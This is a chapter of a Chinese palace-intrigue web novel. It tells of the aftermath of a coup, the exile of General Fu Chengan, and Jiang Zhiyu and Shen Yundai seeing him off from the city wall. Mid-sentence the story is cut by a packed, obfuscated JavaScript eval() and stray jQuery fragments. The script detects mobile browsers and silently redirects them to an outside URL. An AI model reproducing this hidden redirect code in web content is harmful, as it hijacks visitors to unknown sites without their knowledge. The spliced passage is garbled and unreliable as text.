72. 江舟泛羽

作品:《江舟泛羽

    翌日,六皇子萧玹宫变被太子萧钰亲手诛杀的消息如惊雷炸响了整个京城。


    朝堂上,一片死寂般的肃穆。


    百官禁若寒颤,无人敢深究这皇室惨剧背后的细节。


    圣人下达最终的裁决:“首恶萧玹已伏诛,其余参与者,依律严惩,右骁骑大将军之子傅承安,念及父亲乃开国元勋,死罪可免活罪难逃,流放边疆无召永不得回京。”


    太子萧钰躬身听旨,面色异常冷峻平静,他完美地扮演着一个冷血残酷的储君,仿佛对于手刃亲弟的事实无任何愧疚,可眼底深处难以察觉的疲惫泄露了他的内心。


    公主殿,萧瑛听闻消息,手中茶盏摔得粉碎。


    她不可置信大步上前抓着宫女质问:“你说什么!六哥哥…六哥哥谋反?不可能!这不可能,他怎么会这样做?你定是听错了!”


    宫女被萧瑛眼中的震怒和手中的蛮力吓到,颤抖着答:“公主…是真的,圣人都已下旨,六皇子伏诛,傅将军参与谋反,判处流放边疆永不得回京,昨夜还是太子殿下前去抓拿,亲自动手…”


    “你胡说!”


    萧瑛一把甩开对方,怔怔地后退,整个人不知所措。


    她不敢相信,六哥哥居然死了,还是死在太子哥哥剑下,那可是他的亲弟弟啊!


    而傅承安…他竟然参与了谋反!


    怎么办?


    怎么会发生这样的事情…昨天不还好好的吗?她还答应了青舒要去给傅承安送信,为什么一夜之间就发生了天翻地覆的变化…


    萧瑛疯了一般冲出公主殿。


    她要去见太子哥哥。


    “开门!我要见太子哥哥!开门啊!”


    萧瑛对着紧闭的宫门呼喊,越是得不到回应她越是害怕。


    许久殿门终于打开,她还来不及进去,只见内侍出来,面带难色:“公主殿下请回吧,太子殿下…谁也不见。”


    萧瑛愣在原地,手缓缓垂下。


    大门再次合上,高墙下,殿门前,她望着东宫二字,惊魂回神。


    她在做什么?


    此时此刻,最痛苦的人应该是太子哥哥,她怎么能找他,怎么能去撕开他的伤口?她怎么能像那些人一样去质问他?


    萧瑛回过神转而奔向父皇的寝宫。


    殿内,她长跪在冰冷的地面,为了青舒她要试一次。


    “父皇!傅承安他或许是一时糊涂,求您看在傅家祖上功勋…”


    圣人的声音隔着帘幕传来,冰冷得不带一丝感情:“岁宜,谋逆大罪,不容姑息,朕留他一命已是格外开恩!”


    “父皇!孩儿求您了!”


    流放,那可是九死一生,而不得回京,那傅承安与沈云黛便是天各一方,永世不得相见!


    萧瑛磕头哀求:“父皇!求您,不要让他流放!”


    “放肆!”圣人震怒的声音传来,殿中即刻跪倒一片,“此乃国家大事,岂容你胡闹!来人,即刻将傅承安押送出京,并将嘉玉公主禁足十日以儆效尤,无召不得出宫!”


    “父皇!”


    萧瑛哭着恳求:“父皇!至少您让我去见一面他!父皇!”


    她还有一封未送出的信,她还没有让青舒知道,她还想让他们见上最后一面。


    “父皇,您不是最疼我吗?父皇求您了!别关我,让我去见一见他!”


    “将公主送回寝殿,严加看管!”


    侍从宫女马上将萧瑛从地上拉起,公主的哭声在大殿回荡,帘幕后那个帝王却无比冷漠。


    什么最受宠的公主,在帝王的权力威严下,也不过如此,容不得任何反抗。


    萧瑛被彻底软禁的消息很快传到了江稚鱼的耳中,她立刻明白萧瑛做了什么傻事,心中酸楚,又为她与沈云黛的这份情谊动容。


    既然作为公主她能豁出一切,她也能。


    江稚鱼马上动身,设法出宫。


    长廊上她的脚步匆匆,迎面撞上了萧钰身边的内侍,她一愣有些担忧,不想那人上前将东宫鱼符交给了她:“太子吩咐,近来宫门严禁出入,姑娘还请带上鱼符。”


    江稚鱼接过鱼符,怔怔看向手心的鱼符,半晌,嘴角轻轻一笑。


    “多谢。”


    她捏紧鱼符疾步出宫。


    等她赶到沈府时,沈云黛果然被其父严加看管起来,府内气氛凝重。


    江稚鱼神色镇定,她在路上已经想好对策:“沈大人,太子殿下忧心公主,还请沈姑娘入宫一趟劝慰公主,以免公主再行忤逆之事。”


    “江医官,口说无凭,可有太子物证。”


    江稚鱼早料到了,好在出宫前萧钰给了她鱼符:“沈大人,东宫鱼符在此,还请大人过目。”


    沈大人接过鱼符,心中虽有疑虑但鱼符在此,而江稚鱼又确是太子身边最亲近之人,一时未深究,只得放行。


    趁沈大人还未反应过来,江稚鱼一刻不敢停,几乎是拉着沈云黛一路匆忙离开。


    穿过长廊,沈云黛慌忙中道:“可是宫中又出大事了?”


    她被关在闺阁,不得有任何人进来,一时间并不知圣人已下旨马上要将傅承安押送出京。


    江稚鱼带她坐上马车,对着马夫低声急道:“快!快去西城门!”


    沈云黛瞬间便明白了她的意图,也知道发生何事了,泪水涌上眼眶,她紧紧回握住她的手。


    马车在街道上疾驰,赶到西城墙下时,押送流放的队伍已经出城。


    来晚了!


    江稚鱼心中一慌,马上拉着沈云黛想上城墙,结果被士兵马上拦下。


    她慌张取出鱼符大斥:“太子鱼符!还不快让开!”


    士兵见此,赶忙让开。


    江稚鱼拉着她快步登上城墙,眼看那辆囚车驶出城门,逐渐远去,她想也不想,用奔跑着朝着远处高喊一声:“傅承安—!”


    声音在城墙间回荡,卷起两人的衣袂。


    囚车内,戴着沉重木枷的傅承安浑身一震,似有所感回首望去。


    只见,高高城墙上,立着两个身影。


    其中一人,戴着垂落的白纱帷帽,看不清她的面容,春风吹拂,白纱微动。


    不需要看清。


    傅承安知道。


    是她。


    她冒着危险,来送他最后一程。


    傅承安此刻无法挥手,也无法回应,他只能定定望着那个方向,脸上缓缓露出一个无比复杂的笑。


    这个笑有苦涩,有无奈,有对她冒险前来的震动,更多的是一种尘埃落定的释然与安然。


    他这一生,家族,立场,忠孝,到最后的谋逆,皆是身不由己,可唯有爱上沈云黛,是他发自本心,唯一为自己做出的选择。


    与她相遇的一切,在往后余生,便是他唯一的念想与美好。


    傅承安望着她的缥缈身影,眼前恍惚想起他们的初见,雨雾寺庙,她一身素雅,温和的面容眼底却是不屈隐忍的坚定。


    他会永远记得。


    永远不会忘记。


    城墙上,江稚鱼看不清他的神情只怕他没有注意,还想再喊一声,却被身边之人拦下,她侧过头,帷帽下,沈云黛已是泪流满面。


    她贪婪地望着那个囚车里越来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639656|180377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    越模糊的身影,直到完全消失,彻底看不清。


    此去边关万里,山高水长。


    傅将军…


    此生,永不复相见。


    唯愿边关安然,那便是你寄回最好的平安信。


    …


    宫变之事逐渐尘埃落定,公主的禁足也随之解除。


    江稚鱼前往探望,她将沈云黛二人之事告知萧瑛,好让她安心。


    萧瑛听完,沉默了许久,眼眶泛红,最终只是喃喃道:“那封信…那封我没有送出的信,如果当时我再坚决一些,再快一点,是不是就能在傅承安离去之前送到他手里?如果这样,是不是就不会是如今这个结局?至少…至少他们能互通一次心意…”


    作为他们之间那段隐秘感情的知情者,唯一的信使,她比任何人都深知这份情绪的珍贵和不易,如今她眼看这段感情最后落得这样决绝的收场,她只觉痛心不已。


    望着她的痛苦,江稚鱼伸手握住她发颤的手,声音坚定:“这不是你的错,萧瑛,这不是你的错,他们的结局早已注定,那封信,无论有没有送到,其实都改变不了这个结局。”


    皇权,家族,立场,无论是哪一样,都不是一封信能撼动的。


    “对他们而言,天各一方已是最好的结局,总好过…生离死别。”


    萧瑛听罢露出一抹苦涩的笑,她能做什么?她什么也做不了…就连六哥哥…


    她抽回手,缓缓沉重地走向那棵熟悉的大树下。


    阳光透过枝叶,洒下斑驳的光影,仿佛一切还是旧日模样。


    萧瑛仰着头,目光仿佛穿透了时光。


    “小时候,我的纸鸢掉在这棵树上,急得掉眼泪,六哥哥见了就跑到树上取下来,还笑话我是爱哭鬼。”


    她的声音带着遥远的记忆,江稚鱼一瞬间望见了那段让人怀念又稍纵即逝的过去。


    年少那个眉眼飞扬的少年利落地爬上树梢,笑着将风筝递给哭鼻子的妹妹,阳光在他身上温暖而美好。


    “其实,儿时我并不讨厌他,只是后来先后去世,六哥哥逐渐与大家生分,再后来性格变得冷漠,变得阴沉狠毒,对我也再没有什么好脸色,又一次次伤害太子哥哥,我才开始害怕,开始疏离他,讨厌他。”


    萧瑛说着转过身,泪水无声滑落,她稚嫩的脸庞还是一副孩童的天真模样,她的悲伤是如此纯粹。


    “可是…我从来没有想过要他死啊,他是六哥哥,他是我的兄长,是我们血脉相连的亲人…他怎么会死?怎么会死…为什么所有人都无动于衷?他不是皇子吗?他不是圣人的儿子吗?为什么…为什么偏偏是他?”


    这一刻,她不再是公主,只是一个失去了兄长的妹妹。


    萧瑛也第一次清楚地认识到,属于她的荣华,属于公主的尊贵,皇权可以给予,亦可以轻易剥夺,今日是六哥哥,是傅承安,他日,若是她行差踏错半步,是不是也会这样身不由己?


    江稚鱼静静地听着,看着萧瑛流淌在脸上的痛苦和茫然,她仿佛透过萧瑛,看到了这座皇宫下的恐怖。


    先后和圣人的兰因絮果,萧玹与萧钰的骨肉相残,沈云黛与傅承安的天各一方。


    它将所有的情爱,天真,统统碾碎,最终变得面目全非。


    一瞬间,一股难以忍受的窒息感再次包裹了她。


    她曾经透过高高的树枝望见这座囚牢,如今所有事情扑面而来,她越是深入越是了解,越是清楚地明白。


    她不属于这里。


    这是一座被权力和白骨堆砌的囚牢。


    她仍旧渴望,渴望离开这个吃人的地方。